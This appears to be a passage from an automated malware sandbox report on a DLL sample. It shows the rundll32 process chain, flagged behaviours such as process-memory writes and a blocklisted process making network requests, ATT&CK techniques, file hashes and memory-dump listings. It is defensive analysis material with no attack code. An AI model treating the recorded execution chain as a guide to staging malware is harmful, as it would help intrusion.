- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1120

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll AnyString
3⤵
- Suspicious use of WriteProcessMemory
PID:1056

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll AnyString
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:1380

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll",#1
5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1736

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Iyhrrnymibbef\mengjxufpnzz.ojz",VExuhnWQbA
6⤵
- Suspicious use of WriteProcessMemory
PID:1472

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Iyhrrnymibbef\mengjxufpnzz.ojz",#1
7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:896

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
\Users\Admin\Cs4c3vl\Upyum80\J_3Q.dll
MD5
782f98c00905f1b80f0dfc6dc287cd6e

SHA1
6575caf3d68d899e83c4b352e985f86b53e804c7

SHA256
06040e1406a3b99da60e639edcf14ddb1f3c812993b408a8164285f2a580caaf

SHA512
cd2a5e6f9d9f22cbf2e215d74dde5dbae107e14ac356bf47dfa4a4f1dd00d9399bf073bf67139a83a4bb29cd6e7081f832348ba6183aefd7a1faafceae890ed6

Download Submit
memory/896-37-0x0000000000000000-mapping.dmp

Download
memory/1056-17-0x0000000000000000-mapping.dmp

Download
memory/1120-15-0x000000001B940000-0x000000001B941000-memory.dmp

Filesize
4KB

Download
memory/1120-13-0x000000001AA34000-0x000000001AA36000-memory.dmp

Filesize
8KB

Download
memory/1120-8-0x000007FEF50B0000-0x000007FEF5A9C000-memory.dmp

Filesize
9.9MB

Download
memory/1120-16-0x000000001C410000-0x000000001C411000-memory.dmp

Filesize
4KB

Download
memory/1120-12-0x000000001AA30000-0x000000001AA32000-memory.dmp

Filesize
8KB

Download
memory/1120-7-0x000007FEFBA01000-0x000007FEFBA03000-memory.dmp

Filesize
8KB

Download
memory/1120-14-0x0000000001FA0000-0x0000000001FA1000-memory.dmp

Filesize
4KB

Download
memory/1120-9-0x000000001A940000-0x000000001A941000-memory.dmp

Filesize
4KB

Download
memory/1120-6-0x0000000000000000-mapping.dmp

Download
memory/1120-10-0x000000001AAB0000-0x000000001AAB1000-memory.dmp

Filesize
4KB

Download
memory/1120-11-0x000000001A790000-0x000000001A791000-memory.dmp

Filesize
4KB

Download
memory/1184-5-0x0000000000000000-mapping.dmp

Download
memory/1380-19-0x0000000000000000-mapping.dmp

Download
memory/1380-31-0x00000000001B0000-0x00000000001D1000-memory.dmp

Filesize
132KB

Download
memory/1380-32-0x0000000010000000-0x0000000010024000-memory.dmp

Filesize
144KB

Download
memory/1380-20-0x00000000760B1000-0x00000000760B3000-memory.dmp

Filesize
8KB

Download
memory/1472-33-0x0000000000000000-mapping.dmp

Download
memory/1612-44-0x0000000000000000-mapping.dmp

Download
memory/1736-25-0x0000000000000000-mapping.dmp

Download
memory/1872-2-0x0000000072501000-0x0000000072504000-memory.dmp

Filesize
12KB

Download
memory/1872-3-0x000000006FF81000-0x000000006FF83000-memory.dmp

Filesize
8KB

Download
memory/1872-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1976-43-0x000007FEF7810000-0x000007FEF7A8A000-memory.dmp

Filesize
2.5MB

Download